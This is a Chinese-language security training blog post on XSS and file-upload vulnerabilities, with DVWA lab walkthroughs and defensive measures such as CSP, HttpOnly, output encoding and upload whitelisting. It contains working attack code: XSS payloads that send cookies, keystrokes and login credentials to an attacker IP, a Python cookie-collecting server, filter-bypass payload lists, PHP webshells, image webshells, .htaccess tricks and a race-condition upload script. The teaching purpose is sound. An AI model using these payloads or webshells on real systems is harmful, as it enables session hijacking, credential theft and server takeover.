XSS漏洞与文件上传漏洞实战详解

1 阅读5分钟

XSS漏洞与文件上传漏洞实战详解

马哥教育网络安全课程实战博客 · 第07篇 对应课程章节:第17章 XSS漏洞和文件上传漏洞 实验环境:4台Ubuntu 24.04服务器,攻击机 113.47.1.165


一、XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)是Web安全中最常见的漏洞类型之一。攻击者将恶意JavaScript代码注入到网页中,当其他用户浏览该页面时,恶意代码在用户浏览器中执行,从而窃取Cookie、劫持会话、进行钓鱼攻击等。

XSS漏洞的核心原因在于:Web应用程序对用户输入没有进行充分的过滤和编码,直接将输入输出到页面中。

1.1 XSS漏洞的三种类型

反射型XSS

反射型XSS是最常见的XSS类型。恶意代码通过URL参数传入,服务器将其"反射"到响应页面中。攻击者通常需要诱导用户点击构造好的恶意链接。

// 存在漏洞的代码
GET /search.php?keyword=<script>alert(document.cookie)</script>

// 服务器响应
<div>您搜索的关键词是:<script>alert(document.cookie)</script></div>

DVWA中的反射型XSS示例:

// DVWA low级别
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

可以看到,low级别直接将用户输入输出,没有任何过滤。

存储型XSS

存储型XSS是最危险的XSS类型。恶意代码被存储在服务器端(如数据库、文件系统),当其他用户访问包含该数据的页面时,恶意代码自动执行。攻击者只需提交一次恶意数据,所有访问该页面的用户都会受到影响。

// 存在存储型XSS的留言板代码
<?php
if(isset($_POST['message'])) {
    $message = $_POST['message'];
    // 直接存入数据库,未过滤
    $sql = "INSERT INTO messages (content) VALUES ('$message')";
    mysqli_query($conn, $sql);
}
// 显示留言时也未编码
$result = mysqli_query($conn, "SELECT content FROM messages");
while($row = mysqli_fetch_assoc($result)) {
    echo "<div>" . $row['content'] . "</div>";
}
?>

攻击者提交留言内容:

<script>
var img = new Image();
img.src = 'http://113.47.1.165/steal?cookie=' + document.cookie;
</script>
DOM型XSS

DOM型XSS完全在客户端执行,不经过服务器。恶意代码通过修改页面的DOM结构来执行。服务器响应的HTML中不包含恶意代码,但页面中的JavaScript代码从URL或用户可控来源读取数据并写入DOM。

// 存在DOM型XSS的代码
// 页面URL: http://example.com/page#<img src=x onerror=alert(1)>
var hash = document.location.hash.substring(1);
document.getElementById("output").innerHTML = hash;

DVWA中的DOM型XSS示例:

// DVWA low级别
<?php
header ("X-XSS-Protection: 0");
?>
<!-- 前端JavaScript直接使用用户输入 -->
<script>
if (window.location.hash) {
    var hash = window.location.hash.substring(1);
    document.getElementById("output").innerHTML = hash;
}
</script>

1.2 三种XSS类型对比

特性反射型XSS存储型XSSDOM型XSS
数据存储不存储存储在服务器不存储
触发方式点击恶意链接自动触发点击恶意链接
危害程度中高中
服务器参与是是否
检测难度低低较高

二、XSS利用技术

2.1 Cookie窃取

Cookie窃取是XSS最常见的利用方式。攻击者通过XSS窃取用户的Session Cookie,从而冒充用户身份。

攻击端接收Cookie的服务器:

# attack_server.py - 运行在攻击机 113.47.1.165
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if 'cookie' in params:
            with open('stolen_cookies.txt', 'a') as f:
                f.write(f"Cookie: {params['cookie'][0]}\n")
            print(f"[+] 窃取到Cookie: {params['cookie'][0]}")
        self.send_response(200)
        self.send_header('Content-Type', 'image/gif')
        self.end_headers()
        # 返回1x1透明GIF
        self.wfile.write(b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00\xff\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b')

HTTPServer(('0.0.0.0', 80), CookieHandler).serve_forever()

XSS Payload:

// 基本Cookie窃取
<script>new Image().src='http://113.47.1.165/?cookie='+document.cookie</script>

// 带编码的Cookie窃取
<script>
fetch('http://113.47.1.165/?cookie=' + encodeURIComponent(document.cookie))
</script>

// 窃取特定Cookie
<script>
new Image().src='http://113.47.1.165/?session=' + document.cookie.match(/PHPSESSID=([^;]+)/)[1]
</script>

2.2 键盘记录

通过XSS注入键盘记录脚本,记录用户在页面上的所有键盘输入。

// XSS键盘记录Payload
<script>
var keys = '';
document.onkeypress = function(e) {
    e = e || window.event;
    key = String.fromCharCode(e.charCode || e.keyCode);
    keys += key;
    // 每输入10个字符发送一次
    if (keys.length >= 10) {
        new Image().src = 'http://113.47.1.165/log?data=' + encodeURIComponent(keys);
        keys = '';
    }
};
</script>

2.3 钓鱼攻击

利用XSS修改页面内容,注入伪造的登录表单,窃取用户账号密码。

// XSS钓鱼Payload - 替换页面登录表单
<script>
document.forms[0].action = 'http://113.47.1.165/phishing';
document.forms[0].method = 'POST';
// 添加隐藏字段标识受害者
var hidden = document.createElement('input');
hidden.type = 'hidden';
hidden.name = 'victim';
hidden.value = document.cookie;
document.forms[0].appendChild(hidden);
</script>

更隐蔽的钓鱼方式——弹出伪造登录框:

<script>
var fakeLogin = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:99999;display:flex;align-items:center;justify-content:center;">' +
  '<div style="background:white;padding:30px;border-radius:5px;">' +
  '<h3>会话已过期,请重新登录</h3>' +
  '<form action="http://113.47.1.165/phish" method="POST">' +
  '<input type="text" name="username" placeholder="用户名"><br><br>' +
  '<input type="password" name="password" placeholder="密码"><br><br>' +
  '<button type="submit">重新登录</button></form></div></div>';
document.body.innerHTML += fakeLogin;
</script>

三、XSS绕过技术

3.1 编码绕过

当目标对<script>标签进行过滤时,可以使用各种编码方式绕过。

// HTML实体编码
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

// 十六进制编码
<img src=x onerror="\x61\x6c\x65\x72\x74(1)">

// Unicode编码
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

// Base64编码(配合eval)
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

3.2 事件处理器绕过

当onerror被过滤时,可以使用其他事件处理器。

<!-- 其他事件处理器 -->
<img src=x onmouseover="alert(1)">
<svg onload="alert(1)">
<body onload="alert(1)">
<input onfocus="alert(1)" autofocus>
<details ontoggle="alert(1)" open>
<select onfocus="alert(1)" autofocus>
<video onloadeddata="alert(1)"><source src=x></video>
<audio src=x onerror="alert(1)">

3.3 SVG绕过

SVG标签提供了多种执行JavaScript的方式。

<!-- SVG onload -->
<svg onload="alert(1)">

<!-- SVG script标签 -->
<svg><script>alert(1)</script></svg>

<!-- SVG animate标签 -->
<svg><animate onbegin="alert(1)" attributeName="x" dur="1s"/></svg>

<!-- SVG use元素 -->
<svg><use href="data:image/svg+xml,<svg onload='alert(1)'>"/></svg>

3.4 标签变形绕过

<!-- 大小写混合 -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>

<!-- 嵌套标签 -->
<scr<script>ipt>alert(1)</scr</script>ipt>

<!-- 空格和换行 -->
<img/src=x/onerror=alert(1)>
<img\nsrc=x\nonerror=alert(1)>

<!-- 利用HTML注释 -->
<img src="x<!-- -->" onerror="alert(1)">

四、XSS防御方案

4.1 内容安全策略(CSP)

CSP是防御XSS的强力手段,通过HTTP头限制页面可以加载和执行的资源来源。

// 严格的CSP策略
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'

// Apache配置
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'"

// Nginx配置
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'";

4.2 HttpOnly Cookie

设置HttpOnly标志,防止JavaScript通过document.cookie读取Cookie。

// PHP设置HttpOnly
setcookie("PHPSESSID", $session_id, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

// 或在php.ini中全局设置
// session.cookie_httponly = 1
// session.cookie_secure = 1
// session.cookie_samesite = Strict

4.3 输入过滤与输出编码

输出编码是最核心的防御措施。 根据输出上下文选择不同的编码方式。

// PHP输出编码
<?php
// HTML上下文编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JavaScript上下文编码
echo json_encode($input, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);

// URL上下文编码
echo urlencode($input);
?>
# Python Flask输出编码
from markupsafe import escape

@app.route('/search')
def search():
    keyword = request.args.get('q', '')
    # 使用escape进行HTML编码
    return f'搜索结果:{escape(keyword)}'

# Jinja2模板默认自动转义
@app.route('/profile')
def profile():
    return render_template('profile.html', name=user_input)
    # Jinja2默认对 {{ name }} 进行HTML转义

4.4 DVWA各级别防御分析

// DVWA high级别 - 使用htmlspecialchars过滤
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = htmlspecialchars( $_GET[ 'name' ] );
    echo "<pre>Hello ${name}</pre>";
}
?>

// DVWA impossible级别 - 增加token验证和编码
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $name = htmlspecialchars( $_GET[ 'name' ] );
    echo "<pre>Hello ${name}</pre>";
}
?>

五、文件上传漏洞概述

文件上传漏洞是指Web应用程序在处理文件上传时,没有对上传文件的类型、内容、名称进行严格校验,导致攻击者可以上传恶意文件(如WebShell),从而获取服务器控制权限。

5.1 文件上传漏洞类型

无限制文件上传

服务器对上传文件没有任何限制,攻击者可以直接上传任意类型文件。

// 存在漏洞的代码 - 无任何限制
<?php
if(isset($_FILES['file'])) {
    $target = "uploads/" . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $target);
    echo "上传成功:" . $target;
}
?>
MIME类型绕过

服务器仅检查Content-Type头,攻击者可以伪造该头部。

# 使用curl伪造Content-Type上传PHP文件
curl -X POST http://target.com/upload.php \
  -F "file=@shell.php;type=image/jpeg"

# Burp Suite拦截修改Content-Type
# 原始: Content-Type: application/x-php
# 修改: Content-Type: image/jpeg
扩展名绕过

服务器检查文件扩展名但存在逻辑缺陷。

# 常见绕过方式
shell.php          # 基础
shell.php5         # PHP5扩展
shell.phtml        # PHP HTML
shell.pht          # PHP HTML简写
shell.php.jpg      # 双扩展名(Apache解析漏洞)
shell.jpg.php      # 双扩展名
shell.php%00.jpg   # 截断绕过(旧版PHP)
shell.php/         # 斜杠绕过
shell.php.         # 点号绕过(Windows)
shell.php::$DATA   # NTFS ADS绕过(Windows)

六、文件上传漏洞利用

6.1 WebShell上传

上传一句话木马,获取服务器WebShell。

// 一句话木马 - shell.php
<?php @eval($_POST['cmd']); ?>

// 功能更丰富的WebShell
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
if(isset($_POST['cmd'])) {
    echo '<pre>';
    @eval($_POST['cmd']);
    echo '</pre>';
}
// 隐藏在图片中 - 制作图片马
// copy normal.jpg/b + shell.php/a shell.jpg
?>

制作图片马:

# 将WebShell隐藏在图片中
# 1. 准备正常图片和PHP木马
echo 'GIF89a' > header.gif
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php

# 2. 合并文件
cat header.gif shell.php > shell.gif

# 3. 配合文件包含漏洞利用
# 如果存在 include.php?file=shell.gif
# 则可以执行PHP代码

6.2 .htaccess利用

利用Apache的.htaccess文件修改文件解析规则。

# .htaccess - 将jpg文件当作PHP执行
AddType application/x-httpd-php .jpg

# 或使用FilesMatch
<FilesMatch "shell">
    SetHandler application/x-httpd-php
</FilesMatch>

# 修改默认执行PHP的文件名
AddType application/x-httpd-php .phtml .pht .php5

上传.htaccess后,再上传shell.jpg(内容为PHP代码),服务器会将jpg文件作为PHP执行。

6.3 双扩展名利用

利用Apache或Nginx的文件解析漏洞。

# Apache解析漏洞 - 从右向左解析扩展名
# shell.php.jpg.abc  -> abc不识别 -> jpg不识别 -> php识别
# 文件被当作PHP执行

# Nginx解析漏洞(配合PHP-CGI配置错误)
# 访问 shell.jpg/x.php
# Nginx将请求转发给PHP,PHP忽略/x.php,解析shell.jpg
curl http://target.com/uploads/shell.jpg/x.php

6.4 条件竞争上传

利用服务器先保存文件再检查删除的时间窗口。

# race_condition.py - 条件竞争利用脚本
import threading
import requests

target_url = "http://target.com/upload.php"
shell_url = "http://target.com/uploads/shell.php"

def upload():
    shell_content = '<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[\"cmd\"]);?>");?>'
    files = {'file': ('shell.php', shell_content, 'application/x-php')}
    while True:
        requests.post(target_url, files=files)

def access():
    while True:
        r = requests.get(shell_url)
        if r.status_code == 200:
            print("[+] Shell uploaded successfully!")
            return

for i in range(50):
    threading.Thread(target=upload).start()

for i in range(50):
    threading.Thread(target=access).start()

七、文件上传防御方案

7.1 白名单验证

使用白名单而非黑名单,只允许已知安全的文件类型。

// 白名单验证
<?php
$allowed_types = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if(!in_array($file_ext, $allowed_types)) {
    die("文件类型不允许!");
}
?>

7.2 文件内容验证

不仅检查扩展名,还要验证文件实际内容。

// 验证文件内容
<?php
// 方法1:检查文件头(魔术字节)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if(!in_array($mime, $allowed_mimes)) {
    die("文件内容不合法!");
}

// 方法2:使用GD库重新生成图片
$image = @imagecreatefromjpeg($_FILES['file']['tmp_name']);
if($image === false) {
    die("不是有效的JPEG图片!");
}
imagedestroy($image);
?>

7.3 存储隔离

将上传文件存储在Web根目录之外,防止直接访问执行。

// 存储到Web根目录外
<?php
// 上传文件存储到 /var/uploads/ (Web根目录外)
$target = "/var/uploads/" . md5(uniqid() . time()) . ".jpg";
move_uploaded_file($_FILES['file']['tmp_name'], $target);

// 通过专用脚本提供下载
// download.php?file=hash
$file = basename($_GET['file']);
$path = "/var/uploads/" . $file;
if(file_exists($path)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $file . '"');
    readfile($path);
}
?>
# Nginx配置 - 禁止上传目录执行PHP
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

7.4 DVWA文件上传各级别分析

// DVWA low - 无任何限制
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        echo '<pre>上传失败</pre>';
    }
}
?>

// DVWA high - 检查扩展名和文件大小
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path  .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    if( ( $uploaded_ext == "jpg" || $uploaded_ext == "jpeg" ||
          $uploaded_ext == "png" ) && ( $uploaded_size < 100000 ) ) {
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            echo '<pre>上传失败</pre>';
        }
    }
    else {
        echo '<pre>仅允许JPG/JPEG/PNG,且小于100KB</pre>';
    }
}
?>

八、实战演练:DVWA XSS与文件上传

8.1 DVWA反射型XSS实战

# Low级别 - 直接注入
curl "http://target/dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>"

# Medium级别 - 过滤<script>标签,使用其他标签
curl "http://target/dvwa/vulnerabilities/xss_r/?name=<img src=x onerror=alert(1)>"

# High级别 - 使用htmlspecialchars,尝试DOM型绕过
# 检查是否有其他输出点未编码

8.2 DVWA文件上传实战

# Low级别 - 直接上传PHP WebShell
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
curl -X POST "http://target/dvwa/vulnerabilities/upload/" \
  -F "Upload=Upload" \
  -F "uploaded=@shell.php" \
  -b "PHPSESSID=xxx; security=low"

# Medium级别 - 伪造Content-Type
curl -X POST "http://target/dvwa/vulnerabilities/upload/" \
  -F "Upload=Upload" \
  -F "uploaded=@shell.php;type=image/jpeg" \
  -b "PHPSESSID=xxx; security=medium"

# High级别 - 制作图片马配合文件包含
# 1. 制作图片马
copy normal.jpg/b + shell.php/a shell.jpg
# 2. 上传图片马
# 3. 配合文件包含漏洞执行
curl "http://target/dvwa/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/shell.jpg"

8.3 使用Burp Suite进行文件上传测试

1. 配置浏览器代理到Burp Suite (127.0.0.1:8080)
2. 在DVWA文件上传页面选择一个正常图片上传
3. Burp Suite拦截请求
4. 修改以下内容:
   - 文件名: test.jpg -> shell.php
   - Content-Type: image/jpeg -> application/x-php
   - 文件内容: 图片数据 -> <?php @eval($_POST['cmd']); ?>
5. 发送请求,检查是否上传成功
6. 访问上传的文件验证WebShell

九、总结

XSS漏洞要点

  1. 三种类型:反射型、存储型、DOM型,存储型危害最大
  2. 利用方式:Cookie窃取、键盘记录、钓鱼、蠕虫传播
  3. 绕过技术:编码变形、事件处理器、SVG、标签变形
  4. 防御核心:输出编码(最重要)、CSP、HttpOnly、输入过滤

文件上传漏洞要点

  1. 漏洞类型:无限制上传、MIME绕过、扩展名绕过、条件竞争
  2. 利用方式:WebShell上传、.htaccess、双扩展名、图片马
  3. 防御核心:白名单验证、内容验证、存储隔离、禁止执行目录
  4. 组合利用:文件上传 + 文件包含 = RCE

安全开发建议

  • 始终对用户输入进行编码后再输出
  • 文件上传使用白名单 + 内容验证 + 存储隔离三重防护
  • 设置CSP和HttpOnly增强XSS防御
  • 定期使用DVWA等靶场进行安全测试练习

免责声明:本文内容仅供安全学习和授权测试使用。未经授权对他人系统进行测试属于违法行为。请在合法授权范围内进行所有安全测试。